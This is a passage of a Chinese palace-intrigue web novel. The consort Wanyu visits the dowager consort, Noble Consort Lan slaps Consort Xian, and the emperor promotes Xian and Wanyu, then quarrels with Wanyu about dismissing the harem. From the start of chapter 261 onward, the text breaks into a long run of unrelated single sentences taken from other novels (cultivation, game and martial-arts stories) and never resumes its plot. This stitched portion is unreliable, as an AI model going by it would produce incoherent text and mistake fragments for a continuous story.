肩辇在寿康宫门前停下,晚余收起思绪,扶着胡尽忠的手下了肩辇。 她是孕妇,出行要准备的事情多,难免耽搁些时间,因此又是最后一个到的。 负责迎客的宫女给她行礼问了安,委婉地提醒,只能带一个婢女进去,其余人都要在外面候着。 晚余略一思索,就带了玉竹进去。 玉竹是御前调派的人,身份上有优势,万一有什么闪失,也不至于连累到紫苏。 这倒不是说她不拿玉竹当回事,但人与人之间的感情本就亲疏有别,她自然要先保全与自己亲近的人。 胡尽忠不能随行,很不放心,再三叮嘱玉竹照顾好小主。 寿康宫是三进的院落,院子里好巧不巧的也有两棵梨树。 晚余看惯了承乾宫的梨树,再看这里的梨树,便无端地多了几分亲切之感。 进门见过静安太妃之后,感觉她虽然上了年纪,但那温婉恬静的性情真真像极了梨花,眉宇间透着与世无争的淡然超脱。 静安太妃身边还坐着一个年轻的姑娘,晚余看了她一眼,恰好她也向晚余看过来。 两人视线相交,那姑娘露出一个幽怨又带着嘲讽的笑:“怎么,贞嫔娘娘如今独揽圣宠,竟然眼界高到连本宫都不认识了吗?” 第257章 她终于愿意利用他了 晚余听她说得很不客气,盯着她细细瞧了两眼,才认出她是永乐公主。 自从去年接风宴上,永乐公主被沈长安拒婚之后,晚余就再也没见过她,眼下这一看,感觉她和从前相比简直像是完全换了一个人。 不仅从里到外都透着颓废和憔悴,原本明媚娇艳的面容也多了许多沧桑感,丰润的脸颊凹陷下去,显得一双眼睛尤其大,却没有了身为公主那种天生的傲气。 这个样子,别说是在花团锦簇的皇宫,即便走在大街上,都引不起任何人的注意。 晚余暗自心惊。 永乐公主怎么一下子变成这样了? 这半年都发生了什么? 她为何要用那种怨恨的眼神看她,她总不会是因为沈长安才变成这样的吧? “这是永乐公主,你不认识她吗?”静安太妃一脸慈爱地看着晚余,抬手道,“快起来吧,你是有身子的人,以后像这样的大礼就免了!” 晚余谢恩,被玉竹搀扶着站起来,又对永乐公主福身行礼:“嫔妾见过永乐公主。” 永乐公主神情冷漠地哼了一声,竟把脸偏到一边去了。 静安太妃看了她一眼,并未当众指出她礼数不周,只叫自己贴身的周嬷嬷给晚余拿软垫和靠枕来,好让她坐得舒服。 晚余道了谢,在椅子上坐下,玉竹寸步不离地站在她身后。 静安太妃一视同仁,座次没有按位分高低排列,来得早的坐前面,来得晚的坐后面。 晚余来得最晚,恰好和倒数第二的乌兰雅挨着,两人相互点了个头算作招呼。 除了长春宫的端妃,宫里妃嫔几乎都来了,就连这几日一直在避风头的兰贵妃和庄妃也来了。 庄妃这回没带嘉华公主,接连拉了几天肚子,人都瘦了一圈,加上被祁让一番敲打,心中很是惶恐,再见晚余都不敢与她对视。 兰贵妃倒还是那副天不怕地不怕的样子,甚至还对晚余翻了个白眼。 晚余于是也回了她一个白眼。 兰贵妃顿时柳眉倒竖,脸都气红了。 她实在没想到晚余会向她翻白眼。 因为晚余原不是那样的性情,以前挨打受气都是忍气吞声,如今居然在大庭广众之下翻她白眼,在她看来,就是仗着皇上的宠爱故意挑衅,不把她这个贵妃放在眼里。 眼下在太妃宫里,她不好发作,只得暂时忍耐,等散场了再说。 静安太妃和大家都不熟悉,寒暄过后,不免有些冷场,便将话题转到了晚余的龙胎上,问晚余怀着孩子辛不辛苦,胃口怎么样,晚上睡的好不好。 晚余对这孩子没有期待,因此也没怎么在这种事上留心,被静安太妃问起,不禁恍惚了一下。 她摸着肚子,想了想才道:“一开始的时候会犯恶心,吐过几回就好了,有这么多人服侍着,倒也不觉得辛苦,就是安胎药太苦了些,还要每天喝。” 众人听得酸溜溜,只当她在炫耀。 静安太妃笑着说:“良药苦口,你身子本就虚弱,喝药的事马虎不得。 说起来我这辈子没福气,没能为先帝生个一儿半女,也没什么经验教给你。 庄妃膝下养着小公主,你们倒是可以多交流。” 庄妃正心虚,突然被提到名字,就尴尬地笑了笑说:“臣妾怀嘉华的时候可遭了大罪了,害喜害了好几个月,吃什么吐什么,熬过五个月才好。 好不容易胃口好些了,又开始腰酸背痛,手脚都是肿的,偏生她还不老实,一天到晚踢我。” 说到这里停顿了一下:“臣妾听人说越是女孩儿越是折腾人,怀男孩儿的倒是不受什么罪,要是这样的话,贞嫔妹妹怀的很有可能是个男孩儿呢!” 此言一出,众妃嫔都捏紧了手中的帕子,脸上带着僵硬的笑向晚余恭喜。 晚余客气道:“这种没依据的说法,怎么能当真?” 贤妃转了转眼珠,笑着说道:“贵妃娘娘是怀过皇子的,问问她就知道了。” 兰贵妃的脸色顿时阴沉下来,心口像是被人狠狠捅了一刀。 贤妃忙起身给她赔罪:“姐姐恕罪,妹妹失言了,妹妹不是有意的。” 兰贵妃咬牙给了她一巴掌:“贱人,你不是有意的,你是成心的!” “啪”的一声脆响,整个大殿一片死寂。 静安太妃变了脸色,却忍着没有吭声。 晚余慢悠悠说了一句:“贵妃娘娘这是何必呢,大家不过话赶话说到了这里,即便贤妃娘娘一时失言,自有太妃提点教诲,你怎么能当众打她耳光呢?” “本宫就打了,你要怎样?”兰贵妃怒冲冲道,“你以为你是谁,你有什么资格教训本宫? 怀个龙胎而已,有什么了不起,孩子能不能生下来还未可知,就开始在这里耀武扬威了吗? 就算生下来又怎样,就你这逆贼之女的身份,晋你个妃位就是顶了天了,这辈子你都超不过本宫……” “贵妃,你知不知道自己在说什么?” 静安太妃重重拍了下几案,语气也变得严厉,“你身为六宫之首,就这点子肚量吗? 贤妃说错话,你打她也就算了,怎么敢妄议贞嫔的皇嗣,这话要是被皇帝听到,你该如何收场?” “她还想收场?朕看她就没想过安生日子!” 门外传来祁让愠怒的声音,众人吃惊转头,就见他一身明黄龙袍,面沉如水地走了进来。 殿中顿时呼啦啦跪了一地,静安太妃和永乐公主也吃惊地站了起来。 兰贵妃的孩子是她心底不能触及的伤,因此才会瞬间失控。 此时见祁让突然驾临,登时吓出了一身冷汗,人也跟着清醒过来,意识到自己这是着了贤妃的道了。 该死的贱人,专会使这种卑鄙的阴招! 她恨得咬牙,当着祁让的面却什么也不敢说,惶惶不安地跪倒在地。 “皇帝,你怎么这会子过来了?” 静安太妃缓过神,笑着招呼祁让,纵然身为长辈,言语中也不免带了些谨慎的意味。 她无儿无女,先帝死后,就和其他无儿无女的太妃太嫔一起搬去了专供她们养老的宫殿。 原以为这辈子就是个孤独终老的结局,没想到有一天竟会被皇帝接到寿康宫,给她太后级别的待遇,让她管教六宫。 虽说人活到这个份上很多东西已然看淡,在养老所里孤苦无依的死去,究竟还是太过凄凉。 因此,她对祁让是发自内心的感激,同时也有些拘谨。 祁让上前给她行了礼,让周嬷嬷扶她坐回去。 永乐公主不敢再坐太妃旁边,主动把自己的位子让给了祁让。 祁让见她形容憔悴,幽深眸底闪过一抹歉疚,却也没说什么。 落座后,便皱着眉头去寻晚余:“还要朕再说多少遍,你才能改掉这动不动就跪的毛病?” “……” 晚余沉默着没说话,玉竹忙起身把她扶了起来。 其余妃嫔都在心里犯嘀咕,她们这么多人都跪着呢,皇上眼里就只看到贞嫔一个。 怎么她们跪就是理所应当,贞嫔跪一跪就是需要改正的毛病了? 皇上这心都偏到南城门去了。 “过来。”祁让向晚余勾了勾手指。 晚余垂首走过去,被他拉着上下好一通打量:“你没事吧?” 晚余说:“多谢皇上关心,嫔妾没事,就是贵妃娘娘突然对贤妃娘娘动手,把嫔妾吓了一跳。” 她语气很平静,也没有半点委屈的样子,祁让却莫名其妙被取悦,甚至有点想笑。 她都学会借他的势给别人上眼药了,这可真是太好了。 第258章 她不要,他偏要给她 祁让叫人把晚余的座椅搬到自己旁边,看着她落了座,才将裹挟着凛冽寒意的目光投向跪在地上的兰贵妃。 “这是第几次了?”他冷冷开口,“你是不是以为朕当真不能把你怎么样,所以才这般肆无忌惮?” 兰贵妃煞白着脸,颤声道:“臣妾不敢,臣妾是气急了才口不择言,请皇上宽恕。” “你气什么?”祁让重重地拍了下椅子扶手,“你来告诉朕,到底是谁让你受了什么气,能把你气到诅咒皇嗣的地步?” 他拇指上的翡翠扳指撞在扶手上,发出“咚”的一声响。 兰贵妃本能地哆嗦了一下,抬头望见他眼中暗藏的锋芒,心脏都跟着一阵紧缩。 “是贤妃。”兰贵妃指着贤妃控诉道,“她贤妃明知皇长子是臣妾和皇上心底不能触碰的伤,却故意拿皇长子来刺激臣妾,臣妾一时冲动就着了她的道。” 贤妃脸色一变,膝行两步上前,不争辩也不哭诉,直接认罪:“皇上圣明,这件事确实是臣妾的错,臣妾一时失言,触及到了贵妃娘娘的伤心事,臣妾罪该万死,请皇上责罚。” 她脸上还留着五个红指印,却没有半分委屈的样子,只一味承认自己的过错,真是当之无愧的贤妃。 祁让看向她的目光稍有缓和:“你都说了什么,把贵妃气成这样?” 贤妃垂首道:“当时庄妃和贞嫔在探讨怀男孩和怀女孩不同的反应,臣妾就说贵妃娘娘怀过皇子,问问她就知道了。 臣妾就是随口一说,没过脑子,忘了贵妃娘娘听不得这样的话,臣妾有罪,贵妃娘娘责打臣妾是应该的。” “就为了这么一句?”祁让拧眉看向兰贵妃,“这不是女人之间正常交流经验吗,你不愿意说可以不说,怎么就到了要打人的地步?” 兰贵妃心头仿佛又被人捅了一刀,含泪道:“皇上说得如此轻巧,是忘了咱们失去皇长子的痛心了吗?” 祁让闭了闭眼,面上浮现一抹沉重,“皇长子没了,朕和你一样难过,朕体恤你的痛苦,在那之后,不管你犯了多大的错,都对你睁一只眼闭一只眼。 可宫里总要有新的孩子出生,皇长子也不是你的挡箭牌,你不能回回都拿他来给自己兜底。 你这样不是怀念他,而是在利用他,你明白吗?” 兰贵妃的眼泪倏忽落下来:“臣妾没有,臣妾爱他刻骨铭心,怎么舍得利用他,分明是贤妃利用他来激怒臣妾。” “够了!”祁让厉声喝止了她,“你身为六宫之首,倘若这么一句话就能激怒你,你的肚量是有多小? 你若觉得冤枉,就把你刚刚说贞嫔龙胎的话当着朕的面再重复一遍,只要你敢说,朕就饶了你,如此可好?” 兰贵妃顿时哑了声,心虚地低下头。 “怎么不说了?”祁让冷冷道,“贤妃只叫你传授一下经验,你就觉得她的话伤害了你。 可你转脸就能说出贞嫔的龙胎未必生得下来这种恶毒的话,难道对贞嫔就不是伤害吗?” 兰贵妃白着脸,无言以对。 祁让说:“朕念你爱子情深,看在孩子的份上,最后再饶恕你这一回,今日一过,无论你再犯什么错,都不许你再拿皇长子说事,说了就是罪加一等。” 兰贵妃不敢争辩,满腹的委屈化作泪水流下来。 祁让又看向贤妃:“你今日受了委屈,但贵妃爱子情深,情有可原,朕不忍责罚,便升你为贵妃当作补偿吧!” 此言一出,满殿皆惊。 贤妃虽为四妃之一,但比起从前得宠的淑妃,和生了二皇子的端妃,生了嘉华公主的庄妃,她是最不受宠的一个,没想到四个人当中,竟是她先升了贵妃。 她若升了贵妃,那就是和兰贵妃平起平坐了。 因着上回的禁足,兰贵妃的权利已经被她和庄妃架空了大半,如今两人平起平坐,兰贵妃只怕更加捉襟见肘,处处受限了。 兰贵妃的眼泪瞬间停止,脸色难看到了极点。 皇上说是不罚她,却因为她打了贤妃一巴掌,就把贤妃晋为了贵妃,和她平起平坐,这简直比罚她还让她觉得丢脸。 虽然她失去孩子的同时也失去了圣宠,但她好歹是独一无二的贵妃,在身份上享有后宫最高的尊荣。 现在,她没有孩子,没有圣宠,连这最后的骄傲也没了,叫她还怎么活? 她身子一软跪坐在地上,眼神怨毒地看向晚余。 都是她。 都是这个贱人! 这贱人就是她命中的天煞星,只要有这贱人在,她就没好日子过。 只有杀了贱人,她才能重获圣宠,重回昔日荣光。 贤妃也没想到皇上会这样毫无征兆地给自己晋位分,惊诧之余,连忙磕头谢恩。 但她心里明白,她这位分肯定不是挨了一巴掌换来的,极有可能是沾了江晚余的光,或者是皇上想借此打压兰贵妃的嚣张气焰,震慑兰贵妃的母家。 不管怎样,她觉得自己和江晚余结盟是个正确的选择,只有蠢货才会不知死活地挑衅江晚余。 江晚余对皇上没有感情,对皇后之位也没有兴趣,与其针对她,不如借她的手往上爬。 瞧瞧,这才几天,不就已经看到效果了吗? 由此可见,选对盟友是一件多么重要的事。 祁让受了贤妃的礼,按例训诫了几句,叫她册封礼的时候再好好聆听太妃的教诲。 说完这些,才转头去看晚余:“今日的事,你也受了委屈,想要些什么补偿?” “嫔妾什么都不缺,实在没什么想要的,皇上不必为嫔妾费心了。” 晚余嘴上客气着,心说自己生完孩子就要走了,实在犯不着要那些虚名,省得还要承他的情,谢他的恩典。 祁让却垮下脸,对她的回答很不满意。 她给兰贵妃上眼药,难道只是为了贤妃,自个什么都不图吗? 她是不是觉得她反正是要走的,这些世俗的东西要不要都无所谓? 她清高,她无所谓,可他偏要给她。 他偏要她身染世俗,享受荣华富贵,等她有一天出了宫,过了苦日子,才会明白自己失去了什么。 祁让这样想着,便脱口道:“你这些日子受了不少委屈,贤妃升了贵妃,四妃之位空出一个,就封你为贞妃,由你来填补这个空缺吧!” 第259章 遣散六宫 这个决定草率又不容置喙,又让众人结结实实吃了一惊。 就连静安太妃都忍不住提醒他:“贞嫔前不久刚晋过位分,眼下再晋,是不是太频繁了,叫外头那些言官听见,又要说你随心所欲,不顾礼法。 依哀家之见,你先把这位子空着,等贞嫔生产之后再封不迟。” 祁让不以为意:“既然早晚要封,不如现在和贤妃一起行册封礼,省得再张罗一回,如此也可避免有人为了这个位子再生事端。” “……”静安太妃拗不过他,也不敢往深了劝,只得点头道:“那就看你的考量吧!” 玉竹生怕晚余推辞惹皇上不高兴,忙提醒道:“小主,这是皇上给您天大的恩典,咱们赶快谢恩吧!” “是啊妹妹,皇上如此看重你,你还不快点谢恩。”贤妃也生怕晚余拒绝,笑着催促她。 庄妃因着贤妃的晋位,心里已经像吃了个苍蝇,眼见晚余又要升到妃位和她平起平坐,简直就像吃了一盘子苍蝇。 自己是宫里唯一有孩子的妃嫔,熬了几年也不过是个妃位,江晚余的孩子还没出生,就已经连升了多少级。 上回的事,皇上看似没有追究她,这接连给贤妃和江晚余晋升,不就是在打她的脸吗? 假如她没有一时冲动干出那样的事,今天晋为贵妃的,会不会是她? 她越想越难受,后悔不该听信兰贵妃的怂恿。 诚如皇上所言,宫里再有多少孩子,嘉华都是不可替代的长公主。 假如江晚余生个女儿,也只能屈居第二,生儿子的话,和嘉华更没什么关系了。 皇子和公主将来要走的路截然不同,两者没有可比性。 她这是一时糊涂,差点把自己送上了绝路。 晚余知道推辞不过,只得起身向祁让行礼谢恩。 从贞嫔到贞妃,她还是没能摆脱一个“贞”字,心里实在膈应得很,脸上一点笑模样都没有。 祁让却很高兴,对众人说:“静安太妃刚搬过来,想必还有很多事需要打理,今天就到这吧,以后你们初一十五都要前来请安,不可懈怠。” 众妃嫔齐声应是。 祁让看了庄妃一眼:“两位贵妃协理六宫,要时时向太妃回话,庄妃以后就专心照顾公主吧,把公主好生教养长大,比什么都重要。” 庄妃的心一下子沉到了谷底。 皇上这话,是要收回她协理六宫的权力了。 皇上非但没晋她位分,还收回了她的权力,这两下一对比,跟降她位分有什么区别? 后宫与前朝息息相关,自己在后宫失了宠,父兄们在前朝势必也会被人打压,估计过不了多久,母亲就该借着探视之名进宫来敲打她了。 皇上可真是个绝情之人,为了一个江晚余,连他们多年的情分竟都顾不得了。 她心灰意冷地想着,随着众人拜别静安太妃,浑浑噩噩地回了永和宫。 祁让说自己这会子没什么事,要亲自送晚余回宫。 晚余推辞不掉,只得告别静安太妃,和他一起出了门。 祁让指着院子里的大梨树给她看:“你瞧,这里也有两棵梨树,和你宫里的很像。” 晚余笑笑说:“都是梨树,自然大差不差,没什么好稀奇的。” 祁让不过是没话找话,见她兴致不高,便也沉默下来,陪她慢慢往回走。 他也不一定非要她和自己说话,只要她人在他身边就行。 过去的五年,她一句话没说过,他们不也一样过来了? 他就是想要她陪着他。 有这个人在身边,不说话他心里也踏实。 没了这个人,便是身处闹市也空虚。 可她也陪不了他多久了,至多再过一个年,她就要走了。 一想到这事,他就有点发慌。 他转头去看晚余,见她迎着太阳走得目不斜视,细瓷般的肌肤在阳光下白得耀眼,眉眼间隐约有了母性的味道,把她的倔强和锋芒淡化了一些,整个人像是笼罩着一种圣洁的光辉。 “晚余……”他忍不住叫了她一声,一种莫名的悲凉油然而生。 阳光这么好,岁月这么长,他们却在一步一步走向不可挽回的离别。 这一切,真的不可挽回了吗? 他不想又一次在她面前言而无信。 可他如果遵守承诺,就会永远的失去她。 如果他从现在开始对她好,把世间最美好的都给她,她有没有可能被感化,自己主动留下来? 这个念头闪过,他又觉得自己挺可笑的。 如果她这么容易被感化,就不是江晚余了。 世间有千千万万个女子,却唯有这么一个江晚余。 “皇上叫嫔妾做什么?”晚余问道。 祁让没回答,只是笑着提醒她:“你现在该称臣妾了。” 晚余愣了下,眉眼暗淡下来。 祁让挑眉观她脸色:“朕听你的话,晋了一个贵妃与兰贵妃抗衡,又给你晋了妃位,你难道一点都不高兴吗?” “皇上想听实话吗?”晚余反问他。 “当然。”祁让说,“朕最希望和你坦诚相待。” 晚余仰头看了看天,幽幽道:“嫔妾觉得,这宫里的女人,没有一个是真正快乐的,纵然是高高在上的贵妃,也有她自己不能言说的痛。” 祁让的脸色慢慢冷却下来:“所以呢?你是在可怜她,还是在可怜你自己?” 晚余说:“我谁都不可怜,只是觉得大家都挺不容易的,皇上当初不管什么原因将她们纳入后宫,都该对她们好一点。” “怎么好?雨露均沾是吗?”祁让彻底冷了脸,“你拐弯抹角半天,就是想说这个是吗? 江晚余,你到底有没有良心? 朕对你还不够好吗? 你昨晚说的话,朕今早就照做,朕在朝堂上都没有答应谁这么爽快。 朕丢下一堆事巴巴地跑过来,帮你打压贵妃,给你晋位,给你撑腰,你就是这么回报朕的吗?” 他把她推到甬道的宫墙上,一只手压着她的肩膀,脸色阴沉沉的,幽深眸底是阳光都化不开的寒冰。 “朕可以宠着你,让着你,由着你怠慢朕,冷落朕,利用朕,但你能不能不要这样面无表情地往朕心上捅刀子?” 晚余没想到他直接在外面发起了疯,怔怔一刻道:“我说什么了,我不就是建议皇上对后宫妃嫔好一点吗? 她们都是皇上的人,皇上对她们好不是应该的吗? 皇上不对她们好,又一味的把我往高处抬,您这样到底是宠我还是害我? 我所面临的危险,不是封个妃就能解决的,归根结底,就是因为皇上不肯雨露均沾。 既然不肯,皇上干脆遣散六宫好了,何必天天自寻烦恼?” “……” 祁让见她丝毫不能体谅他的良苦用心,还反过来责怪他,心头火腾腾地烧了起来,胸膛里却是冷的,像一座四面漏风的破庙。 “遣散六宫是吧,你以为朕不敢吗?”他咬牙切齿地说道。 第260章 臣妾等着皇上的好消息 一句话喊出口,晚余还没什么反应,倒把孙良言惊得三魂七魄都飞了。 “皇上!” 他叫了祁让一声,服侍祁让这么多年,头一回用这么重的语气叫他。 祁让的怒火被打断,转头冷冷睨了他一眼。 这眼神若能化作刀箭,孙良言当场就要死于非命。 他打了个哆嗦,那些要规劝祁让的话生生咽了回去,转头去求晚余:“娘娘,皇上气性大,您就不要再激怒他了,遣散六宫这种话能是说着玩的吗,您这样是要陷皇上于不义之地呀!” 晚余被祁让压着肩膀,后背贴在冷硬的墙砖上,眼神带着嘲讽从祁让脸上移到孙良言脸上:“大总管怕什么,皇上本就是说着玩的,你怎么还当真了?” “……”孙良言暗叫一声不好。 果然,下一刻,祁让就冷森森道:“谁说朕说着玩的,朕现在就遣一个给你看。” 哎呦喂,祖宗哎! 孙良言急得直跳脚。 晚余面无表情道:“既然如此,皇上就放开臣妾,回去写诏书吧,臣妾等着皇上的好消息。” 祁让铁青着脸,当真松开了她。 晚余福了福身,扶着紫苏的手上了肩辇,吩咐回承乾宫。 孙良言头皮发麻,一把拉住了正要跟着肩辇离开的胡尽忠,小声道:“你瞧这两个祖宗,越闹越不成样子,你主意多,赶紧想想法子。” “我不行,我脑子在慎刑司被打坏了。”胡尽忠笑嘻嘻道,“各人的祖宗各人管,您就别指望我了。” 说罢拂开他的手,追着晚余的肩辇扬长而去。 孙良言气得心肝疼,无奈转头,看着一身寒气的祁让:“皇上……” “闭嘴,朕不想听!”祁让打断他,黑沉着脸上了肩辇,吩咐回乾清宫。 孙良言仰天长叹,苦着张脸跟在后面。 回到乾清宫,祁让直接去了南书房,把门一关,不许任何人进去。 孙良言在门外急得团团转,唯恐他真的在里面写遣散六宫的诏书。 左思右想,叫来小福子吩咐了一番,自己去找人想办法。 祁让在书房里呆坐了半天,怎么都想不明白,事情怎么会发展到这个地步? 他给那女人封了妃,连一句好听话都没听到,反倒闹了一肚子气。 那女人总说有人要害她,叫他雨露均沾,可他堂堂一国之君,难道非要靠雨露均沾才能护住她吗? 他知道身为帝王确实该雨露均沾,可雨露是他想给就能给的吗? 对着不喜欢的人,哪来的雨露? 或许以前的他确实能做到,可自从临幸了江晚余之后,他对别人真的没了兴趣。 他不是也试着翻过康嫔的牌子吗,后来半途而废,那笔账至今还欠着呢! 他现在除了江晚余,真的谁都不想。 就算江晚余怀着孕不能同房,他也不想去别人那里。 可那可恶的女人非逼着他去和别人睡。 世上哪有这样的女人? 别人争男人争得头破血流,她却把男人往外推。 说到底还是不喜欢他,要是换了沈长安,她还会这样吗? 如果沈长安也有三妻四妾,她只怕也是会争一争的吧? 不过话说回来,沈长安为了她,至今连个通房都没有。 她想要的,就是这种守身如玉的男人吧? 可自己现在不也是这样吗? 为了她一个人,冷落了整个后宫,这还不够吗? 难道真要他遣散六宫她才满意? 其实现在的六宫对他来说确实形同虚设,要遣散也不是不行。 只是前朝后宫盘根错节,遣散不是一句话的事。 当真为了一个女人遣散六宫,他这个皇帝只怕要名垂青史了。 祁让皱着眉头,往砚台里倒了些水,拿起朱砂的墨锭一点一点慢慢研磨,在那轻微的沙沙声细细思量…… 承乾宫里,晚余回去后先喝了一碗安胎药,想睡又嫌屋里闷,就让胡尽忠给她搬了把摇椅放在树下,躺在上面打盹。 祁让的话,她压根没放在心上。 当时不过话赶话说到了那里,她这样的身份,还没有重要到让祁让为她遣散六宫的份上。 再者来说,她生完孩子就要走的,祁让遣散了六宫,难道真要孤家寡人过一辈子吗? 别说他不会,就算他会,满朝文武也不会答应。 她这样的,祁让放她出宫还各种条件限制,不许她再嫁旁人,后宫那么多的妃嫔放出去,难道叫人家个个都守节到死吗? 她没有家人,没人为她伸张正义,那些家世显赫的妃嫔,不得闹翻了天。 因此来说,遣散六宫不过是个笑话。 亏得孙良言还急成那样。 晚余想着想着就睡了过去。 不知过了多久,听到有喵喵的叫声,睁开眼睛,发现乌兰雅正抱着雪团坐在旁边的石凳上笑看着她。 “你怎么来了?”晚余揉了揉眼睛,伸手去接雪团,“几天不见,瞧着像是又胖了,快给我抱抱。” 乌兰雅坐着没动,挑着浓黑的长眉看向站在一旁的玉竹。 果然,她什么都还没说,玉竹已经出声提醒:“娘娘怀着身子,不能抱猫,要是被猫抓了咬了,那就不得了了。” 晚余无奈地收回手。 乌兰雅露出一个了然的笑:“看吧,我就知道你的管家婆肯定不会同意。” 玉竹有些尴尬:“娘娘别嫌奴婢烦人,照看好娘娘的龙胎,是奴婢的职责。” “我知道。”晚余点头淡淡道,“我知道你是为我好。” “多谢娘娘体谅。”玉竹讪讪地道谢。 晚余起身坐到石凳上,伸手摸了摸雪团柔顺的毛发,又挠了挠它的下巴。 雪团舒服地眯起眼睛,发出呼噜呼噜的声响。 晚余说:“好奇怪,怎么人打呼噜就嫌吵,猫打呼噜却一点都不觉得烦呢?” 乌兰雅眨了眨眼,戏谑道:“你这么说,莫非皇上睡觉会打呼噜?” “……”晚余嗔怪地瞪了她一眼,“胡说什么,我不过感慨一句,你怎么就联想到皇上头上去了。” 乌兰雅哈哈大笑:“因为能和你同床而眠的只有皇上呀!” 晚余无奈扯唇:“能不提他吗,怪闹心的。” “那不行。”乌兰雅笑道,“我就是听说他要为你遣散六宫,才特地来问你的。” 晚余吃了一惊:“你是怎么听说的?” “多稀奇,后宫都传遍了。”乌兰雅说,“你们在宫道上吵架,还怕没有那耳朵尖的听了去。” 晚余看了玉竹一眼:“我饿了,你去御膳房给我弄点吃食过来,别人去我不放心,你自个也不放心。” 玉竹知道晚余是想支开自己,不能拒绝她的命令,只得叮嘱紫苏和胡尽忠好生照看晚余,自个去了御膳房。 玉琴和她轮流当值,这会子正在下人房休息。 乌兰雅看着玉竹走远,感慨了一句:“她可真够谨慎的。” “皇命难违,她也没办法。”晚余从石桌上捡了一片树叶逗雪团,“不过这样对我确实也有好处,倒也不是不能忍受。” “那好吧!”乌兰雅说,“她能保护你到平安生产,也算是大功一件,我现在更好奇的是皇上真的会为你遣散六宫吗?” 第一卷 第261章 我死了,你就消停了! “怎么可能?”晚余撇嘴不屑道,“皇上只是疯,又不是傻,怎么可能真的遣散六宫?” “哈哈哈哈……” 不过韩萧却自顾自抄起家伙,对着岩壁就是一阵劈砍,挖的不亦乐乎。 听到如此清晰的回复,所有跑来堵孙卓的记者全都傻掉了,你看我我看你,都在互相确认刚才孙卓说的是不是真的,在孙卓走后,他们也觉得,孙卓只是开玩笑吧。 三十三皇子不惧这些,因为他杀掉二皇子的目的之一就是为了献祭其身,以来开辟一个遁走的通道。 宗弼回头一看,却见七妹完颜雪笑嘻嘻的跑了过来,瞪了她一眼道“你尽胡闹”,也不理她,自顾自的下了台。完颜雪也丝毫不恼,依旧笑嘻嘻跟在宗弼身后。 如果兽修一方有这样的秘术,直接让每个兽修都修习,而后仗着它的,一路就能势如破竹的杀到仙城一,根本没有必要整出什么蛊虫来。 林飞又走了两步,“兹噶,兹噶”的声音又出现,林飞再次停止脚步,奇怪的声音也随之停止。 “我们见过的,你也知道!”洛方算是变相的承认了自己的身份。 强大的冲击力直接将四柄长剑击碎,迅速的刺向须佐能乎额头处的宇智波斑。 “哈哈,我真荣幸,能劳烦mvp先生为我操心这种事,不过你这样搞得我很不好意思。”伊薇特笑了起来。 “命可真硬。”一位霸主级别的人物冷笑一声,他全力出手竟是没有要了江东羽的性命,这让他惊讶。 正当两位教师忧心白愫叶征安危的时候,这座古城又发生了变化,白愫叶征带走骷髅2的意图被墨君发现,踪迹也被找到,整座古城的骷髅都有了异动,尽数向两人突围的方向涌去。 身后那些重新调整,再次瞄准叶枫冲过来的万千枪影,在栾神仙王身上被覆盖上淡淡金膜的时候,瞬间停止在半空中。 李艳阳本以为狐狸只会通过情绪和自己交流,却不料它居然点了点头。 正对面的东离山主眼神恢复正常,略带几分赞许,叶征见状,刚松了口气,眼前飞过一条弹幕。 突然沐秋身上的生死契约恢复了感应,沐秋一喜,她感应到炎儿和泽儿的位置了,并且能感受到他们的喜悦。不过距离这里有点远,沐秋决定还是先去找到他们先,宝物什么的不急,便何况她已经得到了不少好东西了。 而在东洋之中,说实话,剑道流派形成了两三百种的流派,剑道和华夏所言的剑法不同,华夏习武道,也就是百家之兵,皆为一道。武学之理,皆为一义。说白了,华夏武学,讲究的融会贯通一通百通。 感受到汇入身体之中的海量灵气,叶逸暗道不好。只是还不待他有所动作,这些灵气便随着叶逸功法的升级,直接进行周天运转,化为真气之后,直接灌注到叶逸的丹田之中。 “这雾能隔绝神识,我们牵着手,防止走散,这里面还不知道会遇到什么危险。”墨延玺怕沐秋误会,忙开口解释道,而沐秋虽然突然被师尊牵住了手,不过她并没有多想,在地球的时候,牵个手并不代表什么。 第一卷 第262章 孩子没了,圣旨就作废了 整个院子鸦雀无声。 宫人们跪伏在地噤若寒蝉。 头顶明明艳阳高照,却给人一种阴风阵阵的感觉。 梁家庄主宅,乔佳宜不再是乔佳宜,而是一滴晶莹的水珠悬于空中。 地面,墙壁,屋顶,摆件……没有一处地方是没有机械构造的,罗杰甚至看到有两个行动灵活的人形机械傀儡正在打理着建筑的一角。 不过林风根本不关心刘宏在乎的是什么,那些对林风来说一点意义都没有,他希望早点看完孟平的病早完事,犯不着在这里跟这个刘宏争什么,治病救人,仅此而已。 等到丹辰身边有七八个虚丹武者,甚至一两个实丹武者守护的时候,紫云长老算得了什么? 刹那间,天空中如同焰火一般,同时三团火焰冲天而起,三道黑色夹杂着红色的罡气从空中蹦下四面八方,就好像是真正的级炸弹爆炸一样,瞬间席卷了周围百里内的天地。 “退!”看见拉克丝的反应,泽拉斯心中微微一惊,连忙眩晕住了卢锡安,然后一边死死的盯着拉克丝的动作,一边后撤。 “天师……”见到这么一幕,被那几个道人护住的卢循目眦欲裂。 在迷蝶酒馆的老巴顿无意间提到他还有师祖之前,罗杰是从来都没注意过这些的,也是在刚刚不久前,他才知道自己不光有着一位师祖还存在人世,甚至还有着一位五星中位星象巫师的四师叔。 那些npc制作的低等阶装备武器,每天刚刚被他鉴定出属性,只要一开门便会迅速被抢购一空,让李旭看到了乱世中潜在的巨大商机。 \t“我是北派形意拳第十二代嫡系传人欧云飞,按辈分你要叫我一声师叔祖。跟我来,形意拳被你学成这样,真是糟践老祖宗留下来的东西,连运气都没学会,我要问清楚是什么人教你的,哼。”欧云飞愤愤地说道。 吕香儿知道绿云的意思,便拿着信走到了树荫下的石桌旁坐下。看着信封上面的字迹很陌生,吕香儿一时之间还真有些怀疑这信是不是写给自己的。可这信封上的名字却是她的,吕香儿想了想还是打开了信封。 \t“反正我要嫁人一定要嫁给自己喜欢的人,哪怕对方没有那么喜欢我,受点委屈我也是心甘情愿的。风哥,如果余昔和唐亮结婚了,你愿意娶我吗?”年舒颜终于问出了心中所想。 陈琅琊声如尖锋,阴森可怕,不愧为代号‘尖锋’的极品兵王。他对鲲的恨意,来自于自己的父亲,这个男人,重伤父亲,那么陈琅琊绝对不会放过他。 “放肆!”对方气极吼道,同时,他后面的特务和士兵马上抬起了枪对准了这里。 整座应元宫在夜色里流光溢彩、华丽璀璨,宫人们费尽心思装潢点缀,只为博得帝王一顾。可遗憾的是,天授帝并无心思观赏。 